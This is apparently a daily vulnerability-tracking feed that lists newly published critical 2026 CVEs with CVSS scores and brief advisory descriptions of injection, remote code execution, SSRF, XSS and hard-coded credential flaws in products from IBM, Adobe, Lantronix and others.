CVE-2026-12718	New	9.8	CRIT				Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Karel Electronic Industry and Trade Inc. KarellPS allows Blind SQL Injection. This issue affects KarellPS: through 22092026. NOTE: The vendor was contacted and it was learned that the product is not supported.
CVE-2026-18162	New	9.8	CRIT				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor.
CVE-2026-18163	New	9.8	CRIT				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper deserialization of untrusted data.
CVE-2026-25254	New	9.8	CRIT				Improper authorization leads to Remote Code Execution via SocketIO interface.
CVE-2026-28324	New	9.8	CRIT				SolarWinds Observability Self-Hosted was found to be affected by an unauthenticated remote code execution vulnerability due to the insufficient integrity checks. Installations configured in a non-default and non-secure configuration are affected.
CVE-2026-43641	New	9.8	CRIT				Softaculous Virtualizor before 3.2.9 (Patch 9) and 3.0.0 contains an OS command injection vulnerability in the billing module handler that allows unauthenticated remote attackers to execute arbitrary commands as root by bypassing authentication through specific parameter combinations. Attackers can deserialize a crafted billing_data POST field and inject shell payloads throu...
CVE-2026-47116	New	9.8	CRIT				LTSecurity LTK3500SF contains a hard-coded credentials vulnerability where root and guest account passwords are stored as reversible hashes in /etc/shadow, recoverable using dictionary-based cracking tools. Attackers can use the recovered credentials to authenticate via Telnet or SSH and obtain full root-level access to the operating system.
CVE-2026-65113	New	9.8	CRIT				NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause use of hard-coded credentials. A successful exploit of this vulnerability might lead to escalation of privileges, data tampering, denial of service, and information disclosure.
CVE-2026-74849	New	9.8	CRIT				Zohocorp ManageEngine ADSelfService Plus versions before build 7001 are vulnerable to a remote code execution vulnerability in the GINA client.
CVE-2026-76708	New	9.8	CRIT				A vulnerability exists in the Analytics and Location Engine (ALE) where the application and underlying operating system use default, hard-coded credentials for several administrative and system accounts. An unauthenticated remote attacker could exploit this vulnerability by attempting to log in using these known default credentials. Successful exploitation could result in a...
CVE-2026-76709	New	9.8	CRIT				A vulnerability exists in the internal administrative component of Analytics and Location Engine (ALE). Successful exploitation of this vulnerability could allow an unauthenticated remote attacker to gain unauthorized write access to the file system with elevated privileges, potentially resulting in full system compromise.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-79313	New	9.8	CRIT				webpy web.py 0.76 is vulnerable to Insufficient Session Expiration. The application's session management relies on periodic cleanup to expire sessions instead of checking the last-access time when a session is loaded. As a result, an expired session whose record has not yet been cleaned up can still be replayed and used, allowing an attacker holding a previously valid sessio...
CVE-2026-93088	New	9.8	CRIT				SGLang's multimodal generation runtime is vulnerable to unauthenticated arbitrary code execution because the disaggregated-diffusion orchestrator's DiffusionServer binds an unauthenticated ZeroMQ ROUTER socket to a network interface and passes the final frame of received multipart messages directly to pickle.loads() before any validation occurs.
CVE-2026-17472	New	9.6	CRIT				IBM Concert 1.0.0 through 3.0.0 could allow a remote authenticated attacker to access or modify unauthorized resources due to the use of wildcards in RBAC permission definitions.
CVE-2026-82000	New	9.6	CRIT				Adobe Experience Manager Forms JEE is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-82443	New	9.6	CRIT				Adobe Campaign Classic (ACC) is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-84388	New	9.6	CRIT				A improper restriction of rendered ui layers or frames vulnerability in Fortinet FortiPAM Chrome Extension 8.0 all versions, FortiPAM Chrome Extension 7.4 all versions may allow attacker to information disclosure via remote unauthenticated attack
CVE-2026-86059	New	9.6	CRIT				Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, Dokploy organization members without Git provider access can retrieve plaintext provider credentials through github.one, gitlab.one, gitea.one, and bitbucket.one because those protected procedures return full provider rows without applying getAccessibleGitProviderIds or an organization check. Th...
CVE-2026-80143	New	9.4	CRIT				Lantronix SLC8000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers to execute arbitrary shell commands as root by exploiting an undocumented mfc eeprom read command that passes unsanitized user input to a system() call. Attacker...
CVE-2026-80147	New	9.4	CRIT				Lantronix SLC8000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a stack-based buffer overflow vulnerability that allows authenticated attackers to potentially execute arbitrary code by exploiting an undocumented mfc eeprom write command that copies unbounded user input into a bounded stack buff...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-63374	New	9.3	CRIT				AnyIO is a high level asynchronous concurrency and networking framework that works on top of either Trio or asyncio. Prior to 4.14.2, connect_tcp() and TLSStream.wrap() can validate internationalized host names after the standard library converts them with IDNA 2003 instead of IDNA 2008. When a connection to a non-ASCII domain is hijacked or redirected, an attacker can obtai...
CVE-2026-75684	New	9.3	CRIT				Adobe Connect is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session....
CVE-2026-75686	New	9.3	CRIT				Adobe Connect is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Sco...
CVE-2026-75689	New	9.3	CRIT				Adobe Connect is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session....
CVE-2026-75697	New	9.3	CRIT				Adobe Connect is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session....
CVE-2026-75698	New	9.3	CRIT				Adobe Connect is affected by a reflected Cross-Site Scripting (XSS) vulnerability. An attacker could exploit this vulnerability to inject malicious scripts into a web page, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact ...
CVE-2026-77621	New	9.3	CRIT				Vector is a high-performance observability data pipeline. From 0.10.0 until 0.57.0, the file sink renders its templated path from event fields and opens the result without confining it to an intended directory. When an untrusted source supplies an event field used by the path template, the value can contain an absolute path or parent-directory traversal, causing Vector to cr...
CVE-2026-77987	New	9.3	CRIT				A server-side request forgery (SSRF) vulnerability was identified in the notebook viewer of GitHub Enterprise Server. The notebook viewer validated the scheme and host of a user-supplied URL but did not validate the port, allowing requests to be directed to internal services listening on other ports of the same appliance. Response bodies were not returned to the requester, b...
CVE-2026-87121	New	9.3	CRIT				lwIP TCP/IP Stack MQTT is vulnerable to an out-of-bounds write, which may allow an attacker to gain full code execution on the device.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89422	New	9.3	CRIT		0.004		Key Exchange without Entity Authentication vulnerability in Erlang/OTP ssl allows a peer that answers a TLS 1.3 client connection to impersonate the intended server. A pre_shared_key extension in the ServerHello that the client never offered causes the client to complete the handshake without validating the server's certificate, so ssl:connect returns {ok, Socket} against a ...
CVE-2026-91130	New	9.3	CRIT			pip:homeassistant	Home Assistant is open source home automation software focused on local control and privacy. Prior to 2026.7.0, the Statistics Graph card in src/components/chart/statistics-chart.ts passed entity names through getStatisticLabel and computeStateName and interpolated param.seriesName into ECharts tooltip HTML without escaping. An authenticated user or an integration that suppl...
CVE-2026-93556	New	9.3	CRIT		0.003		The '/password/guardarClau/recover' endpoint accepts the 'usuariId' parameter, which specifies the account whose password is to be changed. The JWT token for the recovery process is not validated against the user specified in that parameter. An unauthenticated attacker could manipulate the identifier and reset the password for any account, including administrative accounts, ...
CVE-2026-95675	New	9.3	CRIT				D-Link DAP-1360 firmware version 6.14 and earlier contains an unauthenticated remote code execution vulnerability that allows remote attackers to execute arbitrary commands as root by sending crafted requests to the device's web management interface without valid credentials. Attackers can fully compromise the device to persistently modify its configuration and use it as a p...
CVE-2026-18461	New	9.2	CRIT				Use of Externally-Controlled Format String vulnerability in RTI Connext Professional (Core Libraries) allows Format String Injection. This issue affects Connext Professional: from 7.5.0 before 7.7.0.1, from 7.3.0.10 before 7.3.1.6.
CVE-2026-17635	New	9.1	CRIT				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to perform unauthorized actions due to improper configuration of HTTP method-based security constraints.
CVE-2026-17645	New	9.1	CRIT				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to gain elevated privileges due to improper privilege management.
CVE-2026-19202	New	9.1	CRIT				A caching flaw in the toolbox-core package of the mcp-toolbox-sdk-python SDK causes the same Google ID token to be cached and reused across different audiences. If an application uses the SDK to authenticate to two or more different audiences within the same process, the module-level token cache fails to key its cached tokens by the requested audience. Consequently, a valid,...
CVE-2026-75728	New	9.1	CRIT				Adobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction.
CVE-2026-77254	New	9.1	CRIT				MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, requests to the HTTP MCP endpoint without a per-user identity are allowed to reach tool handlers, which then use globally configured Jira or Confluence credentials. A network caller can perform operations with the operator account's permissions unless the dep...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-80145	New	9.1	CRIT				Lantronix SLC8000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitrary shell commands as root by exploiting the set cifs password command that passes unsanitized user input to a syst...
CVE-2026-80151	New	9.1	CRIT				Lantronix SLC8000 before firmware v9.7.0.3, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitrary shell commands as root by exploiting the set nfs download command that passes unsanitized user input to a syste...
CVE-2026-80152	New	9.1	CRIT				Lantronix SLC8000 before firmware v9.7.0.3, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers with the services permission to execute arbitrary shell commands as root by exploiting the set script schedule command that passes unsanitized user input to a sy...
CVE-2026-80156	New	9.1	CRIT				Lantronix SLC8000 before firmware v9.7.0.5, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a path traversal vulnerability in the web management portal upload endpoint that allows authenticated attackers to write arbitrary data to any location on the device's filesystem, leading to remote code execution. The upload filena...
CVE-2026-81995	New	9.1	CRIT				Adobe Experience Manager Forms JEE is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-82009	New	9.1	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary SQL commands. Exploitation of this issue does not require user...
CVE-2026-82011	New	9.1	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and limited write access. Exploitation of this issue does not requir...
CVE-2026-85734	New	9.1	CRIT			pip:lightrag-hku	LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential re...
CVE-2026-87078	New	9.1	CRIT		0.002		Net::IDN::Punycode versions from 2.302 before 2.590 for Perl leak the output buffer on every rejected label in decode_punycode. The XS backend allocates the scalar it returns before it validates the input, sizing the buffer at twice the input length. The scalar is released only on the success path, so each of the three croaks that reject a label leaves the scalar and its bu...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-87080	New	9.1	CRIT		0.001		Net::IDN::Punycode::PP versions before 2.590 for Perl decode a truncated label to a name containing a character it never encoded in decode_punycode. The pure-Perl decoder reads one digit at a time with four-argument substr and tests the result with defined to detect the end of the input. substr on an exhausted string returns the empty string rather than undef, so decoding c...
CVE-2026-94456	New	9.1	CRIT				Postiz generates security-sensitive credentials using `Math.random()` instead of a cryptographically secure source. The same helper is used for OAuth access tokens, authorization codes, client secrets, organization API keys, and PKCE verifiers, meaning these credentials depend entirely on V8's deterministic xorshift128+ PRNG state. An unauthenticated OAuth dynamic client re...
CVE-2026-95511	New				0.001		Rejected reason: Not a vulnerability. Creating a serial queue that overwrites cups-files.conf requires membership in SystemGroups (lpadmin), which is an opt-in cupsd admin role granted by a superuser. No privilege boundary is crossed.

Historical reports are not rewritten when an older CVE changes. A CVE published on an earlier date remains in that earlier daily report; a meaningful change is shown separately in the update section for the date on which the change was detected.